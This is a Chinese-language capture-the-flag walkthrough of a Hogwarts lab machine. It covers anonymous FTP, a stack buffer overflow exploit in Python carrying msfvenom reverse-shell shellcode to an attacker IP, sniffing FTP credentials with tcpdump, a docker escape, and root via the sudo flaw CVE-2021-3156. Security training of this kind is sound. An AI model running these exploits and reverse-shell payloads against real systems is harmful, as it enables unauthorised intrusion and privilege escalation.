前言
这是打靶训练的第15周,靶机下载 ,难度高,此靶机大部分时间花在pwn上。
信息搜集
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
2222/tcp open ssh OpenSSH 8.4 (protocol 2.0)
9898/tcp open monkeycom?
进行了一波初步测试后,80端口只有这个图片,路径探测也没有任何发现
21端口允许匿名登录,ssh开了两个端口,开放了一个nmap不认识的9898端口
随后进入ftp将server_hogwarts
下载下来
./server_hogwarts
发现没有任何输出,使用netstat -pantu | grep server_hogw
,本地开放9898端口,这与之前扫描的9898端口刚好一致,很有可能这个文件就是一个突破点
缓冲区溢出
使用edb调试server_hogwarts
nc 127.0.0.1 9898
,输入500个A
edb弹出错误框,地址0x41414141
无法执行,A的16进制就是0x41
点击ok后,可看到eip寄存器还有esp寄存器被覆盖了。说明存在缓冲区溢出
现在要确定覆盖eip寄存器的A是这500A中的哪一个A,kali自带生成字母生成工具
root@kali: msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
将此结果再次输入,得到覆盖地址为64413764
msf-pattern_offset -l 500 -q 64413764
,查询偏移位置为112,即第113开始的字符将会写进eip寄存器
exp编写
开始编写exp,先确定第113个字符是不是会写进eip
import socket
if __name__ == '__main__':
junk = b'A' * 112
eip = b'B' * 4 + b'C' * 10
s = socket.socket()
s.connect(('127.0.0.1', 9898))
s.send(bytes(junk + eip))
简单解释一下,我让eip的值等于4个B+10个C,如果运行上面的脚本,eip是4个B即16进制为0x424242,那就是对的。
kali上运行后,得到了正确的覆盖结果
并且esp被覆盖了10个C,现在的思路是要让eip的值指向esp,然后esp的内容是shellcode,这样就能任意执行我们的代码了。
edb自带查找功能,点击Plugins->OpcodeSearcher->Opcode Search
,选择ESP->EIP
,搜索server,Permissions要选择带x,可执行权限的。
找到了两个,有jmp esp,这里就确定用0x08049d55
地址
生成shellcode,msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.128 LPORT=4444 -b "\x00" -f python
,先测试看是否能反弹到本机
最终的exp
import socket
if __name__ == '__main__':
junk = b'A' * 112
eip = b'\x55\x9d\x04\x08'
nopsled = b'\x90' * 32
# shellcode
buf = b""
buf += b"\xda\xc3\xd9\x74\x24\xf4\xbd\xd5\xe1\xdc\xbe\x58\x29"
buf += b"\xc9\xb1\x12\x31\x68\x17\x83\xc0\x04\x03\xbd\xf2\x3e"
buf += b"\x4b\x0c\x2e\x49\x57\x3d\x93\xe5\xf2\xc3\x9a\xeb\xb3"
buf += b"\xa5\x51\x6b\x20\x70\xda\x53\x8a\x02\x53\xd5\xed\x6a"
buf += b"\xa4\x8d\x0e\xea\x4c\xcc\x0e\xfb\xd0\x59\xef\x4b\x8e"
buf += b"\x09\xa1\xf8\xfc\xa9\xc8\x1f\xcf\x2e\x98\xb7\xbe\x01"
buf += b"\x6e\x2f\x57\x71\xbf\xcd\xce\x04\x5c\x43\x42\x9e\x42"
buf += b"\xd3\x6f\x6d\x04"
s = socket.socket()
s.connect(('127.0.0.1', 9898))
s.send(bytes(junk + eip + nopsled + buf))
kali监听4444端口,反弹shell成功
getshell
现在将exp的中的127.0.0.1
改为靶机的ip192.168.0.134
,即可反弹shell
可看到ip地址为172.17.0.2
,这是在docker里面。发现.mycreds.txt
内容为HarrYp0tter@Hogwarts123
ssh harry@192.168.0.134 -p 2222
,密码为HarrYp0tter@Hogwarts123
,即可登录,但还是在docker里面。
可执行root权限
sudo /bin/sh -i
切换到root用户,来到/root
,得到提示 有人在尝试登录ftp
tcpdump -i eth0 port 21
抓取ftp协议相关的数据包,等两分钟,得到用户名neville
,密码bL!Bsg3k
提权
ssh neville@192.168.0.134
登录进来,已经逃逸成功了
存在Baron Samedit漏洞。 poc 验证
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
CVE-2021-3156,下载exploit_nss.py。这里直接利用是不能成功的。which sudo
sudo位置在/usr/local/bin/sudo
,编辑exploit_nss.py
,第20行的SUDO_PATH = b"/usr/bin/sudo"
改为SUDO_PATH = b"/usr/local/bin/sudo"
再次利用提权成功